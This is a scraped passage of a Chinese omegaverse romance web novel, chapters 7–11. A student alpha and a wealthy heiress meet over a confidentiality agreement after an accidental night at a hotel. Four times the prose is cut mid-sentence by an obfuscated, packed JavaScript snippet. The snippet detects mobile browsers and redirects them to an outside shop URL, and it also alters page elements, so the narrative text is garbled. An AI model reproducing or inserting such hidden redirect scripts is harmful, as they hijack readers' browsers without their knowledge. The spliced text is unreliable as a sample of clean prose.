《被富豪老婆捡回家后》 7. 第 7 章 第七章 姜映所言非虚,并没有骗人。 她真的没有哭,也不爱哭,眼尾泛红是体质原因,过度紧张忧虑时偶尔就会这样,她靠意志力控制不了。 好在平日里她情绪起伏小,知道她有如此生理反应的人寥寥无几。 掌心握住皱巴巴的纸巾,她折成正方形放心背包,已经远离了休息室,鼻翼上依旧残余着女人替她擦眼尾时指尖拂过的微凉触感,淡淡的体香也絮绕在鼻息间。 好像是香氛的味道,像一夜春雨过后竹笋破土而出,节节生长时散发出的苍绿气息,很淡雅低调一款香氛混在体香中融合的味道。 从休息室到后台距离稍远,姜映迈着步子走了两三分钟才到,耳畔脸颊的红晕已经消退,深呼几口气,情绪恢复了平稳。 “姜映你来了,”队友夏云升瞧见她,关心道,“眼睛怎么了?” 姜映眼尾的红未完全消散,道:“没什么事,一会儿就好了。” 夏云升点点头:"走吧,得去集合了,她们已经到了。" 开幕式不需要所有辩手都上台,公平起见,采用抽签的形式提前选出了几人,姜映和夏云升恰好中了签,一同在后台准备着。 听着宴会内的音乐响起,主持人念台词,依次介绍主办单位,评委,赞助商,而后才会轮到选手代表上场。 程卿言坐在观众席前排,听得都有点困了,垂着眼眸发消息:【哪天回国?】 云秋染:【还没定下来】 程卿言:【你不是说戏拍完了?】 云秋染:【还有两场珠宝晚宴得参加,经纪人不让我走】 程卿言:【谬姐管得了你?】 云秋染:【这话我就不爱听了,我难道不是她管的艺人里最省心的吗,不聊了我得补觉了,机票定了会告诉你和简予】 按理说许久未见的好友回国,她和余简予得去机场接人,但在云秋染身上并不可行,顶流女明星太火了,这回去国外拍戏在公众视野里消失了几个月,粉丝必定会去接机,人山人海,她们去了也接不到。 听见主持人念到姜映二字,程卿言回神缓缓抬眸,看向站在台上的女生。 女生面对如此多的人,神色沉稳自然,没有任何慌乱,未施粉黛,身着最普通的校服,身上的唯一装饰是手腕上的红绳,依旧不骄不躁神采奕奕。 程卿言指腹隔着丝巾揉了揉后颈,眉梢微扬,难以想象此刻看着的人与几十分钟前在她跟前面红耳赤到哭哭啼啼的人是同一位。 人的反差会有这么大? 眸光细细临摹着姜映的轮廓,视线最终落在了她空荡荡的后颈上。 若在公众场合,除了beta,omega和alpha几乎都会贴阻隔贴,以防意外发生,虽说不是列了法律条文的强制性规定,但已成了约定俗成的社交礼仪,正常人都会遵守。 即使是s级的alpha和omega,在能比较完美地控制信息素的情况下,人多的场合一般也会用阻隔贴。 第一次在房门外见,对方没贴,此刻的开幕式,对方也没贴。 程卿言若有所思,想起了姜映说自己是标记无能的荒唐话,轻呵一声。 小姑娘内心确实有点点装,对自身信息素的掌控能力自信到连阻隔贴都不用。 * 开幕式的时常不长,进行了一个半小时,十点准时结束。 姜映出了宴会厅,和队友一起去停车场坐校车,一路上有些心不在焉,时不时朝四周看去,悦城酒店太大了,寻不见她想找的身影。 夏云升问她:“在找人?” 姜映摇了摇头,没过多解释,问:“明早大家在三教集合吗?” 夏云升:“暂定的时这样,如果改了地点,群里会通知。” 回到寝室已经十一点出头,姜映行动迅速地洗漱好,打开电脑开始补上今日的课程,暖黄的台灯照亮小小的桌面,哒哒的键盘声响响停停,在静谧的夜里谱写出奋进的乐章。 周青月没有打扰她,本来打算舒舒服服地追剧,瞧见对方忙碌整天回来依旧没有休息,不知疲倦地奋斗学习,受了感染,也拿出书开始学习,片刻后也投入进去。 反而是姜映,已经坐下好十来分钟了,状态还未调整好,一页文献反复看了几次也没看脑子。 沉不下心,有些无奈地叹了口气,关了电脑上床躺着了。 姜映感觉她有些不安。 从小到大她很少为已经发生过的事情而后悔,总是像看客一般淡淡地接受一切事情的发生,比如标记无能,比如旁人的嘲讽,比如家庭的纠纷,后悔对她来说是一种较为陌生的情绪。 可是她此刻很后悔,后悔上周为了省钱买到了假药,然后对别人做出冒犯的事情。 她不能分泌信息素,无法标记对方,在此事上她不用担心,但是她轻薄了人家的身体,女人后颈上绯红肿胀的痕迹就是她的罪证,她对此过意不去。 即使她赔钱,或是进监狱接受惩罚,对方受到的伤害依旧是存在的,并不会因为她接受了惩罚而消失。 无论做什么也弥补不了,愧疚充斥在她心里,像压了一块沉甸甸的石头。 明日还有比赛,她明白她得养精蓄锐好好休息,尽量不被其他事情干扰,但她翻来覆去睡不着,脑子不受控地去想自己犯的错。 并且犯错后不积极解决,愚蠢地以为是一场梦,呼呼大睡不理人,无形中让对方收到了二次伤害。 为何要认为那是一场梦…… 像是后知后觉到什么,姜映忽然睁开眼坐起来,眼眸眼闪过些困惑,快速拿起手机在各大网络平台上搜索程卿言三个字。 平时空闲时间不多,并且对娱乐八卦不敢兴趣,她敢保证她从前没听过对方的名字。 乱七八糟搜索出来很多信息,她挨着看下去,按在屏幕上的手指不由自主开始颤抖,面色越发震惊。 不知过了多久,握在掌心的手机已经息屏,依旧怔怔地坐着,姜映再度将其按亮,继续看下去。 网上能查出来的有关程卿言的部分介绍,和她在梦里出现的信息几乎没有差别。 所以,梦里预知的事情并不是梦,而是真是存在? 她生活在一本小说里? 程卿言真的是世界的女主,危险迷人的女人? 而她,轻薄冒犯了女主。 冒犯了那位在遇上心上人后,让所有与她有过情感瓜葛的alpha都没有好下场的女主。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904521|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哎,你什么时候上的床?” 周青月学累了,伸懒腰时发现姜映已经没在桌前,问了一声。 姜映浑身一抖,被突然响起的声音吓着了,伸手摸了摸脖颈,已经覆上一层薄汗了。 “睡着了?”周青月小声问。 姜映深呼吸,拉开床帘道:“还没睡,已经上床躺了一会儿了。” “你接下来还有比赛,是得早点休息,那我也不学了。”周青月快速爬上床,眼睛亮亮的,打开平板准备追剧。 姜映思忖片刻,问道:“青月,你知道程卿言吗?” “知道啊,程氏集团的继承人,我在营销号上刷到过,还看过她和别人的情感绯闻八卦呢,这次你参加的青朝杯好像就是程氏赞助的,”周青月不禁好奇,“怎么突然问起她?” 姜映想说她梦到了,但怕吓着她,顿了顿又问道:“你有没有感觉我最近精神出了问题?” “什么意思?”周青月没懂。 姜映:“就是字面意思,我有没有出现奇怪的举动之类的?” 周青月道:“没觉得,你最近除了总是犯困,没什么异常,而且你困也是应该的,整天那么累。” “映啊,你怎么突然这么问,是比赛压力太大了吗?” 姜映目前也理不清到底怎么回事,只好道:“我随便问问,你追剧吧,我休息了。” 见她这样说,周青月也没多想,应了声好,戴上耳机看起来电视剧。 姜映重新躺回床上,心跳快了几分,觉得她的想法太荒唐了,荒唐到她感觉自己精神出了问题。 但她无法解释梦境里出现了现实世界她并没有接触过的信息。 是不是得去看医生。 整日的奔波疲惫,千丝万缕终不敌体能的容纳极限,睡意如潮水袭来,在困惑不安中陷入了沉睡。 次日醒来。 姜映全身湿汗,她梦见她因为和程卿言牵扯过多,最后被砍成了血雾剁成泥。 在愧疚与不安中,接下来几日,她一直在等对方联系她。 不遗漏每一通电话,即使有时上课或是做实验去了没接到,她看见后亦会第一时间回拨过去。 因此,短短几天里,她接了三十通广告推销电话,询问她是否办卡,开会员等等,接了九通诈骗电话,给她说她的孩子在学校里犯了事急需用钱,说她老婆在澳城赌博输光了钱,让她转账过去才放人。 姜映身心俱疲,得出了经验,座机号都是诈骗推销电话,她不会接,只接正常的电话号码。 几天过去,还是没接到程卿言打来的电话。 周五这晚,有个座机号坚持不懈给她打了三通,诈骗电话不会连着打,姜映思忖片刻还是接了起来。 好的,下一秒挂断,可恶的诈骗电话。 片刻后又打来一通座机号,太过分了,近期本就处于不安状态,没脾气的人也被折磨出了脾气。 姜映接起来打算骂人,又想到被骗去园区做诈骗的人也不容易,不仅吃不饱还要被电击,于是义正言辞道:“不要打来了,你真的很讨厌,真的真的。” 电话那边安静片刻,并没有应她,在她准备挂断时,传来一声轻哼问道。 “哪里讨厌了?” 8. 第 8 章 第八章 “哪里讨厌了?” 女人泠然的嗓音里带了些傲气,好似一场未落下的雨,喜怒仅在一线之间。 姜映瞬间紧张起来,心跳不受控地加快,指甲掐了掐掌心,让自己保持冷静。 不怕,不怕。 这几日她除了等女人给她打电话,认真思考了她的梦境为何会出现自己从未接触过的真实事情,在决定挂号去医院前,上网查了她这种情况。 网上称之为“既视感”或者是“既视梦”,说她可能是在无意识中接触过这些信息,姜映虽没主动搜索了解,她处在校园环境中,接触网络的学生众多,各种新闻八卦的传播都很广泛。 可能在食堂吃饭,课间赶路时周围人聊过有关程卿言的东西,她当时没留意,这些信息悄悄进入了她的潜意识,然后她梦见了。 很合理的解释,姜映不安的心稍稍落了下去。 其实她不是在意梦里知道的那般,她生活在一本小说里,并且是路人甲。 无论生活的世界是何样子,无论在哪,都有自己的节奏,一日三餐,工作学习,经历着日月交替,四季轮回。 她依旧平凡,按部就班地走向未来的岁月,即使真的是小说世界,只要对她没影响,她不会在意,也不会去过多思考。 但无论在哪,她都不想和危险人物扯上关系,她很爱惜生命,想好好在平静中活着。 听见程卿言声音那刻,她的情绪是复杂的,期待与恐惧并存,期待及时处理自己犯的错,恐惧女人真如传言那般可怕。 姜映深呼一口气,立马开口解释:“我不知道是您打的电话,不是在说您很讨厌。” 程卿言听着她紧张的语调,想不明白她在怕什么,问:“那你在说谁讨厌?” 姜映老实交代:“诈骗电话。” 程卿言:“你被诈骗了?” “不是的,我这几日接了很多通诈骗电话。” “为什么要接诈骗电话?” 姜映抿抿唇,有点不好意思解释原因,含糊道:“电话响了,就接起来了。” “是吗?“ “嗯……” ”诈骗电话应该都挺明显的,大部分能看出来,你为何要接?”程卿言语调慢慢,“还是因为不想错过我打来的电话,任何一通电话都接了?” 心思被人挑明,姜映捏了捏手腕上的红绳,干巴巴地不知如何回应。 程卿言没有点到为止,尾音轻扬:“那么想接到我的电话?” 姜映小声强调,提醒:“是您说要联系我。” “我的错?” 姜映哪敢:“我没有这样说。” 程卿言轻哼一声:“心里这样想了。” 如果是一道难解的题,姜映能沉下心将其解出来,但让她应对这样的对话,绞尽脑汁也应付不了。 不知道该回什么,只能抿着唇沉默了。 程卿言没听见她的声音,问:“又哭了?” 方才她说话的语气很凶吗,她并没有觉得。 姜映解释:“我没哭,已经给您解释过了,我只是情绪激动时眼尾偶尔会红,并不是真的要哭,您真的误会了,我不爱哭,平时在别人面……” 嗡嗡嗡小蜜蜂开始叫了,程卿言坐在扶椅上,落地窗前的院子里种了青竹,秋风掠过时沙沙作响。 风声止,蜂未停。 她的身边没有这样的人,她也没遇见过这样的人,要么沉默到底要么说个不停,玉手揉了揉耳朵。 “安静,姜映。” 姜映闭上嘴停止解释,片刻后又道:“抱歉,我是不是话太多吵到您了。” “没有说你话多,”程卿言觉得对方过于一板一眼了,小小年纪怎如此老旧,“不许道歉。” 该接话时沉默,该沉默时絮叨,开不来玩笑,过于本分,随时鞠躬道歉,喜哭。 并且,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904522|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位爱做梦的女生。 这是姜映面对她时,给她留下的印象。 但她也见过她在台上神态自若,神采飞扬的样子。 姜映有些不知所措,既说她话不多,又让她安静,她不知是该说话还是不说话,在双方安静着几秒间,她在想,她是不是惹女人生气了。 接下来她应该做点什么? 程卿言启唇:”姜映。” 姜映下意识应声:“到。” 程卿言缄默几息,轻叹一口气,又有种当老师的感觉了:“那晚你为何敲我的门?” “我买到假药,还吃了好几颗,意识就开始涣散不受控制,就走错了。” 监控里看着的晕乎乎的状态原来是吃假药导致的,程卿言问:“明日有空吗?” 姜映对时间很有规划,一般会提前计划好次日要做的事情,在脑子里过了一遍计划表:“上午得去实验室,下午有两场辩论赛复赛。” “复赛几点结束?” “大概五点。” “结束之后还有事吗?” “复赛如果晋级了,就得和队友一起研究讨论下一场比赛的论题,如果没晋级,我得去图书馆把下午耽搁了的学习内容补上。” 程卿言:“后天呢?” 姜映:“上午有兼职得给中学生补课,下午如果不用准备比赛就回家看猫打扫卫生,然后回学校复习期末考内容。” 安排得满满当当,比身家过亿的程卿言忙上许多。 程卿言:“你没有休息时间?” “晚上睡觉就是休息,”姜映不解她为何问自己的日程表,对方不是她的同学,不会存在借鉴她学习计划的情况,问道,“怎么了?” “你觉得我为什么给你打电话?” 程卿言抚了抚后颈,女生在上面留下的痕迹早已消散恢复了白皙,但此刻腺体微微泛红跳动着。 “不和我见面了吗,不是说要负责?” 9. 第 9 章 第九章 轻飘飘的问话,直接让姜映红温,将她拉到那晚女人衣裳半解侧躺着,绯红的痕迹覆在后颈上的情景。 她当时不敢多瞧一眼,此刻亦不敢多想,赶忙掐了掐掌心,让她从旖旎的画面中清醒。 程卿言指腹点着手机:“你以为我让你等我电话,是为了与你闲聊?” 姜映有些紧张:”不是的,我平时挺忙的,没空和你闲聊。” 程卿言眉心蹙了蹙:“嗯?” 姜映有点语无伦次,赶忙解释道:“我的意思是我等您的电话也不是为了闲聊,是为了解决那日我犯的错误。” 这种表达能力真是让人怀疑她是怎么去参加辩论赛,并且赢了很多场顺利晋级到复赛的。 程卿言不太懂女生面对她时为何总是一副受了惊吓慌慌张张的样子,她已经刻意放柔声音了,不存在任何恐吓的恶趣味,难不成需要她夹着声音说话才行? 她没对任何人夹过,她不是会夹着声音说话的类型。 从前不会,日后也绝对不会。 成何体统。 程卿言没在此上过多纠结,转回正题:“既然你也想解决,是不是得见面才行?” “您说的对,”姜映懊恼自己考虑问题不周到,在脑子里快速想了想她的计划表,如果通过了复赛进入决赛,任务会重很多,所有空闲时间都会用在上面,何时有空她也无法预估,她不能为了自己的事情耽误团队的进程,也不能让女人一直等着,于是道,“您今晚有空吗,我能不能现在来见您?” 今晚她没课,所有正事已经完成了,原计划是去图书馆写论文,也可以不去。 程卿言缄默着,似在思考。 姜映:“如果您不方面,我再想想别的时间。” 也罢。 虽然是有些不方便,早点解决也好,不想再拖下去了,以免自己又变卦了。 程卿言道:“就今夜,我让司机去学校接你。” 姜映不爱麻烦人:“您给我地址就行了,我自己坐车去。” 程卿言对此没异议,尊重她的决定,挂断电话后编辑短信发了地址给她。 姜映去之前回了一趟寝室,放好书本和背包,在食堂吃晚饭时衣服染了点点油烟味,她快速洗了澡换了干净的衣服,准备出门时碰上恰好回寝的周青月。 周青月见她没背包带电脑,随口问道:“你要去校外?” 姜映蹲着系鞋带,嗯了一声。 周青月以为她要回家:“今晚要回来吗?” “要的,”姜映起身,想了想问道,“要给你带校门口夜市摊上的狼牙土豆吗?” 周青月很喜欢吃狼牙土豆,但她最近吃太多长胖了,只好拒绝:“不用了,再吃就变成猪了。” “你的体重很标准。” “虽然你这样说我很开心,但是我还是不敢吃了。” “那我出门了,你若是改变主意了,发消息给我。” 周青月应了声好,随手关上门,往里走时脚步停了几秒,不禁奇怪姜映怎么回一趟家都特意洗澡换衣服啊,以前也没这样,去去来来的不是又得弄脏嘛,家里洗不是更舒服。 * 碚城这些年发展迅速,市中心寸土寸金,其中难得有一处闹中取静的别墅区月泊林,低调韵雅。 程卿言名下房产很多,此处她常来居住。 面积不算大,两层楼加起来只有两百多个平方,胜在前后带的院子很大,种了许多果树和青竹,静雅闲适。 屋内的换风系统开到了最大档,程卿言面色绯红,再次注射了一只抑制剂,坐在摇椅上缓了会儿。 左右两边分别趴着一只杜宾和萨摩耶,呜呜呜地小声哼着,担忧地看着神色痛苦的主人。 几分钟后,程卿言睁开眼,状态恢复正常,看了眼净化系统的显示屏,上面写着屋内的信息素浓度已经降低到百分之十以内了,彻底净化掉还需要十多分钟。 从碚城大学到月泊林坐地铁大概要五十分钟,时间是足够的。 程卿言摸了摸两只狗头:“不用守着我了,去院子里玩吧。” 杜宾和萨摩耶摇了摇尾巴没有动弹,依旧守着她,女人嘴角轻轻扬了扬。 乖狗。 “已经在家里了,你干嘛把信息素净化得如此干净,”余简予坐在餐桌上吃着晚饭,十分不解。 不仅如此,要知道平日里对方在抑制剂的使用上是很克制的,只要在家里不外出,除非真的熬不住才打一只,大部分时候是靠意志力硬熬过去,今夜居然打了两针。 “有客人要来?” 程卿言眼睫颤了颤:“你不是客人?” 余简予:…… 她算什么客人,她是自家人,而且她也是omega,对方溢出的信息素对她没有影响。 “对了,上午发给你那个项目书你看了没?” “看了。” “你觉得怎么样?” “挺不错的,不过风险微高,董事会那些老古董不一定会赞同,要说服这些人得费点功夫。” 确实如此,老旧派总是以公司元首过来人的身份自居,加上程老太太并没有完全放权给程卿言,因此更加心高气傲看不起年轻一代,并且程家有群人也会从中作梗,余简予想着头都大了,好在项目不急,还有应对的时间。 不想聊工作,她品着粥,慢悠悠道:“上次那个alpha,叫姜映是吧,你想好怎么处理了没?” “你和她都试过一次了,既然不反感她的味道,你就让她长期给你提供信息素吧,如果她不同意,我去做说客。” 那alpha看起来人畜无害,老实本分,其实挺合适的,她已经向程卿言提了几次了,但对方一直没回应,既不为上次的意外做个了断,彻底拒绝,也不提新的想法,如此拖了快一个周了。 这一周里程卿言其实在纠结,她从小独立自主,少有能让她反复纠结的事情,此事却令她困扰。 抑制剂虽能缓解信息素紊乱,但时效短,舒适性也一般,和止痛药是一个道理,并不是真能让其完全不痛。 而姜映的信息素,一次浅浅的临时标记,让她的腺体安分了好几天。 哪个更舒服,哪个效果更好,一目了然。 她的身体在告诉她,她应该毫不犹豫地选姜映。 可是这种身体的直觉让她想起了十几年前,腺体刚发育成熟的那段日子。 腺体发育成熟意味着信息素紊乱开始出现,第一次面对折磨她到失控的紊乱,最初那周里她疯狂使用抑制剂,让自己保持正常。 很快她发觉她离不开抑制剂,依赖越来越大,没有抑制剂在身上便会心慌,似乎在一步步沦为欲望的奴隶,作为身体的主人,她却无法控制自己的身体。 在这个omega和alpha早已平权的世界,正常的发热期或是易感期症状仅仅只是体内激素的波动,会让人产生做|爱的想法,不做也无妨,做点别的事情转移注意力或是用点抑制剂就过去了,带来的影响是能克制住的,不会让人成为欲望的野兽。 但信息素紊乱患者并非如此,身体在不受控的渴求,这让向来对自己要求严格的,不依附于她人的程卿言感到无比挫败。 像是软肋,随时可能被人捅一刀的软肋。 程卿言提了口气,不再去想这些不堪的回忆:“不用你去做说客,她挺乐意负责的。” 哭哭啼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904523|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啼地反复说要负责,为了不错过她的电话,接了一堆诈骗电话,那么傻,也不怕真被诈骗了。 余简予眼睛一亮:“你们联系过了?” 程卿言嗯了一声,看了眼时间,道:“你是不是该回去了。” 余简予:“我不是才来吗,就让我走了?” 她从进门到坐下喝粥,仅仅过了十来分钟。 程卿言侧眸,幽幽看着她。 余简予端起碗将粥喝完,哼了一声:“走了,明天再来。“ 走到玄关处拉开门,愣了一下,随及回头朝着程卿言意味深长的笑了笑:“我说呢,怎么如此着急赶我走。” 不过她是得识相快点走,她笑眯眯朝着在门口不知徘徊多久的alpha点点头,比了个加油的手势,而后溜了。 见她如此,程卿言也猜到应该是姜映到了,但等了半分钟,没人进来。 程卿言:? 正欲起身去瞧瞧,敲门声响了。 “门没关,进来便是。” 姜映深呼一口气,走到她跟前端端正正站好,有些局促地打招呼:“程小姐您好。” 杜宾和萨摩耶见到陌生人来,站起来闻了闻她,姜映虽然喜欢动物,但体型较大的陌生狗狗朝她靠近,还是有些怕,想后退一步躲开。 “不准动,坐下。”程卿言道。 姜映捏了下掌心,哦了一声,忍着害怕坐到了椅子上,两条狗欢快地用头顶她的腿。 程卿言瞥了她一眼,嘴角微不可查扬了扬,她是在命令狗不许动,狗没听话,人反倒听进去了。 觉察到女生腿在微微颤抖,她叫了两只狗的名字,准确命令:“去院子里玩。” 拉面和丸子都是窝里横,看起来块头大,性格很温顺,得了准确命令,离开了客厅。 程卿言对女生说:“现在不用怕了。” 姜映点了点头:“谢谢。” 程卿言问:“要喝点什么吗?” “不用了。” 姜映一路上精神都比较紧绷,脑子里全是如何对女人负责的事,根本感觉不到渴。 “怎么这么快就到了?”比程卿言预估的时间早了十多分钟,好在屋内的味散得差不多了,“不是坐的地铁?” 姜映如实说:“我打车过来的。” 程卿言:“想快点见到我?” 刷的一下,姜映耳根子红了,赶忙解释:“我是怕您等久了,耽误你休息的时间,才选择了更快的交通,如果您现在有事情要忙,我打扰到您了,我可以去院子里等一会儿。” 老实巴交的,程卿言说:“院里有狗,你真要去?” 姜映抿了抿唇,想到拉面丸子庞大的身形,最终还是嗯了一声。 程卿言怕她下一秒真跑出去了,安抚道:“没有打扰我,一直在等你。” 并且为了见她,提前打了抑制剂,净化室内的空气,沐浴换了衣物,喷了香水。 她后知后觉,自己是否太隆重了,虽然这也是没办法的事,今夜她的信息素不稳定,感觉像发热期要来的征兆,做这些其实是为了以防发生意外,但心里依旧有点不平衡。 眸光落在女生身上,细细打量,闻见了淡淡的香味,不是令她愉悦的青竹信息素的味道,倒像是沐浴露的花香。 她问:“来之前洗过澡了吗? 闻见,姜映浑身一颤,紧张到眼睫如蝶翼一般猛得抖动几下。 她不擅情|事,可她没愚钝到听不出女人的话外音,这是在暗示她得开始负责了,在客厅就得开始。 青涩的alpha耳畔的绯红蔓上脖颈,颤抖的指尖发烫冒汗。 她是不是得主动些,先脱裤子还是先脱衣服啊? 10. 第 10 章 第十章 “已,已经洗过了……” 姜映整个人红温到快沸腾了,声音也克制不住地有些结巴,紧张到了极点。 她们虽然在酒店发生过一次,当时她吃了假药昏昏沉沉,完全记不清她是如何做的,她对于此事可以说是毫无经验。 omega不动声色上下打量的眼神,询问是否洗过澡,在她听来,皆是在暗示她可以开始了。 客厅里暖黄的光线明亮,棕色真皮沙发足够宽敞,偌大的落地窗没有拉上窗帘,侧头望去,能看见拉面丸子在院里的草坪上打滚。 如此透明的环境里做情|事,太令人羞耻,姜映内心有些接受不了,可她觉得她没有讨价还价的立场,毕竟她是来赎罪负责的。 女人让她如何,她就该如何。 来的路上已经想过了,她信息素无能,女人所说的负责,自然不会是要求她提供标记之类,那么只剩下单纯的身体交流了。 姜映滚了滚喉咙,听懂了暗示,依旧不知该从何入手,抬起微微发颤的指尖,迟迟未落在领口的纽扣上,低垂着头看着地板,在做心理准备。 深秋天寒,她外穿风衣,里面是蓝色条纹衬衫打底,衬衫里还有一件薄款秋衣。 “你热?” 程卿言见她面色红润,额上覆满了细汗,不解地问她。 这种天气,若是怕冷的人,会在家里开暖气了,对方怎么还满头大汗,年轻人火气这么旺盛吗。 姜映呼了口:“我不热。” 程卿言困惑:“那你这是?” “抱歉,我有些紧张,”姜映眼尾红红的,说出了自己的感受,“我可能需要一点点时间。” 在紧张什么,狗不是已经出去了吗? 程卿言打量她片刻,年轻alpha不仅满头是汗,灯光下骨节分明的手也在颤抖,在结合她应的话,她好像明白是怎么回事了。 这人是不是以为她要和她在客厅乱来。 荒谬。 她倒是敢想。 成何体统。 程卿言呵了一声,不禁感慨,小姑娘看起来老实本分,内心花样倒是多,和她的信息素一个德性。 她不喜欢花样多的人。 懒得理对方这些胡思乱想,她道:“为了见我,出门前特意洗的澡?” 姜映嗯了一声。 程卿言心里这才稍稍平衡许多。 姜映:“我在学校食堂吃饭身上沾了油烟味,您不喜欢闻这种味道,所有洗了澡才来的。” 倒是贴心,程卿言:“你怎么知道我不喜欢油烟味?” 姜映顿了两秒,也在想她是怎么知道的,梦境里知道的细节? 应该是这样,但她不能如实说,容易被人送去精神病院。 见她又开始沉默,程卿言也没追问,只当她是误打误撞猜对了,不再说这些无关紧要的事情,她从抽屉里拿出一份文件递过去:“看看,觉得没问题的话就签了。” 还要签卖身契? 她得卖多少年才能让她满意,从而弥补她犯下的错误。 资本家都是剥削的,她希望年份少一些。 姜映抿着唇,郑重地将其打开,快速看完后,不解地看向女人:“您让我来是为了签这个?” 程卿言侧眸,揉了揉好似又在不安分的腺体:“不然你以为是什么?” “可是您不是说见面是为了谈我该如何负责的事情吗?”姜映困惑。 递给她的合同并不是卖身契,也不是讨论与她弥补过错相关的内容,只是一份简单的保密协议。 列举的条款不多,只是要求姜映对那日发生的保密,如果日后有任何人向她打听,都不能透露出去,女人会支付她一笔数目不小的保密费。 “我确实是说让你来谈负责的事,但并没有说要你负责,”程卿言看着她,”如果你觉得合同没问题,就签了吧。” 姜映摇头:“我不签。” 程卿言敛眸:“为何,若是觉得保密费太少了,你提一个数目,只要别太过,我可以答应你。” 姜映站起来,认真道:“不是钱的问题,我不要钱也会应您的要求对此事保密。” 程卿言就事论事:“我并不相信口头协议,你签了合同收了钱,对彼此都好。” 姜映不想参合到复杂的事情中,明显女人的生活并不平静,她只要签下字,便能重新回到自己平静的生活。 厌恶复杂,害怕程卿言,是她内心真实的感受,但她依旧得承担自己犯的错,不能得了便宜还卖乖。 “那晚是我走错了房间冒犯了您,我总得为此做些力所能及的弥补,不然对您来说不公平。” 在她面前总是紧张脸红,动不动便落泪的alpha,此刻却语气坚定,目光诚恳地直视着她,与她说这些。 程卿言眉心颤了颤,一时间说不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904524|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里是何感受,她既已决定日后不再和她发生瓜葛,约见对方签保密协议这类后续的事情其实交给助理去办就行了。 可她会想起她泛红的眼尾,信息素注入时那滴眼泪,如此敏感爱哭的女生,她不知怎么的就决定见一面,亲自处理这件事。 “你无需弥补,我并没损失什么。” 只不过是尝到了女生信息素的好,开始嫌弃抑制剂罢了。 “我轻薄了您。” “那你想如何,我轻薄回去?” 姜映脸颊通红,咬了咬唇:“如果您需要的话,我可以的。” 程卿言眸光落在她白里透红的耳畔上,落在她无辜咬唇的动作上,落在她紧张到泛红的细长指节,最终停在了后颈处没贴阻隔贴的腺体上。 又不贴。 喉咙微微发痒,提前打的抑制剂好似不在管用,腺体开始发热,轻轻跳动着,不经意间溢出的樱桃香朝着径直朝着女生的后颈飘去,在女生指尖穿梭缠绕,触碰软绵。 如果不快点解决,只怕她下的决定又得动摇了。 程卿言深呼一口气移开眼:“我对你毫无兴趣。” 姜映低下头,她也没奢望女人会对她感兴趣,毕竟她平平无奇,标记无能。 程卿言想了想继续道:“虽说是你敲错了门,但你并没有强迫我,是我开门放你进屋,所以你不必为此时感到愧疚,也不必为此付出代价,知道吗?” 女生那日在酒店释放信息素是有错,这种错只是礼仪上失礼,只能证明这人没有素质,如果不是自己信息素紊乱,其实也不会受很大的影响。 因此这件事上,她没有怪过姜映,她也不希望她愧疚不安。 她已经说的如此明白,如果对方依旧坚持要负责,那她真的…… 姜映长睫眨了眨,安静片刻,似在判断她说的话是真是假,但她没有骗她的必要,如果她再坚持补偿,其实是固执己见地打扰她,让其困扰厌烦。 最终嗯了一声,拿起笔迅速在合同上签字盖章,女人给的钱她会捐给山区的希望机构,她不会用这笔钱。 “那我告辞了。” 程卿言点头,正要说太晚了安排人送她回去,没等她开口,女生如脚下抹油,飞快地小跑离开了,像有妖孽在后面追她一般。 程卿言:…… 跑这么快,之前的推脱都是装的? 不想深究,日后不会再有联系了。 11. 第 11 章 第十一章 关门声响过后,屋内静悄悄。 在过分安静的空间里,所有的一切都会被放大。 逐渐起伏的呼吸声,指节用力抓住衣服摩擦出来的褶皱声,发紧的喉间发出的闷哼。 程卿言面色绯红蜷缩在沙发上,眉心紧紧蹙着,汗水覆满薄薄的背脊,信息素疯狂涌出,甜软的樱桃味瞬间占据整个客厅。 在alpha离开后,溢出的信息素没有落脚点,急切地寻找能攀覆的青竹,不安而躁动地折磨着她。 欲念横生,理智逐渐瓦解,五感变得更加灵敏。 不知是不是错觉,程卿言好似嗅到了与那夜相似的alpha的青竹味,很细微,诱着她,隐忍间眼尾晕出了薄泪。 人都走了,把味道留下算什么。 